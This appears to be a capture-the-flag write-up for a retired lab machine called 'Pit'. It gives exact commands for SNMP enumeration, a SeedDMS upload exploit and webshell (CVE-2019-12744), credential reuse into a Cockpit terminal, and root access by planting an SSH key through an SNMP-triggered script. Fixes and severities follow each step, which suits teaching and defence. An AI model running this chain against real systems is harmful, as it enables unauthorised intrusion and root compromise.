Pit
Summary
I scanned all four exposed services — SSH, nginx, Cockpit, and SNMP — and found the target answering SNMP queries with the default 'public' community string. Walking the SNMP MIB leaked the internal path of a SeedDMS document-management install and the name of a root-run monitoring script.
SeedDMS accepted the well-known default credential, and an authenticated document-upload vulnerability (CVE-2019-12744) gave PHP code execution under the nginx web account: nginx ignores .htaccess, so the file-upload block SeedDMS ships is silently inert. Reading SeedDMS's own configuration file through that webshell yielded the database password in plain text, and the same password — reused — authenticated michelle to the Cockpit web terminal, providing an interactive shell.
A POSIX ACL gave <withheld> write permission on the directory whose scripts the root-owned SNMP monitoring daemon runs on demand. Dropping a script there that appended my SSH public key to /root/.ssh/authorized_keys, then issuing an SNMP walk to trigger execution, produced direct root SSH access.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
TCP version + default-script scan; the 9090 TLS cert discloses CN=dms-pit.htb.
$ nmap -sV -sC -p 22,80,9090 $TARGETUDP scan — reveals SNMP on 161.
$ nmap -sU --top-ports 25 --open $TARGETRegister both virtual hostnames for subsequent web and Cockpit access.
$ echo "$TARGET dms-pit.htb pit.htb" | sudo tee -a /etc/hostsExact commands 2
Walk disk OIDs — reveals monitored paths including the SeedDMS webroot.
$ snmpwalk -v2c -c public -On $TARGET .1.3.6.1.4.1.2021.9Walk nsExtend OIDs — reveals /usr/bin/monitor and that username.
$ snmpwalk -v2c -c public -On $TARGET .1.3.6.1.4.1.8072.1.3.2FixReplace the default SNMP community string and restrict what SNMP exposes to the networkHigh
Exact commands 2
ExploitDB 50062 PoC; patch folderid to 8 (Users/<withheld>) before running. Note the returned document id (e.g. 29).
$ python3 50062.py -u $PASSWORD2 -p $PASSWORD2 --url http://dms-pit.htb/seeddms51x/seeddmsConfirm RCE as nginx; substitute 29 with the actual document id if different.
$ curl -sG --data-urlencode 'cmd=id' 'http://dms-pit.htb/seeddms51x/data/1048576/29/1.php'FixPatch SeedDMS and block PHP execution in the document storage directory at the nginx levelCritical
Exact commands 1
Read the SeedDMS config through the webshell; locate the dbPass attribute.
$ curl -sG --data-urlencode 'cmd=cat /var/www/html/seeddms51x/conf/settings.xml' 'http://dms-pit.htb/seeddms51x/data/1048576/29/1.php'FixRemove plain-text credentials from web-accessible configuration filesHigh
Exact commands 2
Initial HTTP Basic handshake to obtain a session token before opening the WebSocket terminal channel.
$ curl -sk -u "$PASSWORD2:$PASSWORD" -H 'X-Authorize: ' https://pit.htb:9090/cockpit/loginBespoke Cockpit WebSocket client authenticating as <withheld>:<withheld> against pit.htb:9090; implements the cockpit/login + init/open channel protocol.
$ python3 cockpit_exec.py 'id; whoami'FixUse unique passwords per service — never share application credentials with system accountsHigh
Exact commands 4
Confirm <withheld>'s -wx ACL on the monitoring directory from the Cockpit shell.
$ python3 cockpit_exec.py 'getfacl -p /usr/local/monitoring'Generate my keypair; /tmp/pit_root.pub is the public key to implant.
$ ssh-keygen -t ed25519 -N '' -f /tmp/pit_rootDrop the key-implant script; substitute <contents-of-pit_root.pub> with the actual public key string.
$ python3 cockpit_exec.py 'printf "#!/bin/bash\nmkdir -p /root/.ssh\nprintf \"%s\\n\" \"<contents-of-pit_root.pub>\" >> /root/.ssh/authorized_keys\n" > /usr/local/monitoring/check_key.sh && chmod +x /usr/local/monitoring/check_key.sh'Trigger snmpd to execute /usr/bin/monitor (and therefore check_key.sh) as root.
$ snmpwalk -v2c -c public -On $TARGET .1.3.6.1.4.1.8072.1.3.2 > /tmp/pit-trigger.outFixRemove unprivileged write access from the SNMP-triggered monitoring script directoryCritical
Exact commands 1
Authenticate as root with the implanted private key; flag value is <root.txt>.
$ ssh -i /tmp/pit_root -o BatchMode=yes -o StrictHostKeyChecking=no -o ConnectTimeout=8 root@$TARGET 'id; whoami; cat /root/root.txt'
uid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.0 (protocol 2.0) |
| 80/tcp | http nginx 1.14.1 |
| 9090/tcp | http Cockpit web service 221 - 253 |
| 161/udp | snmp |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.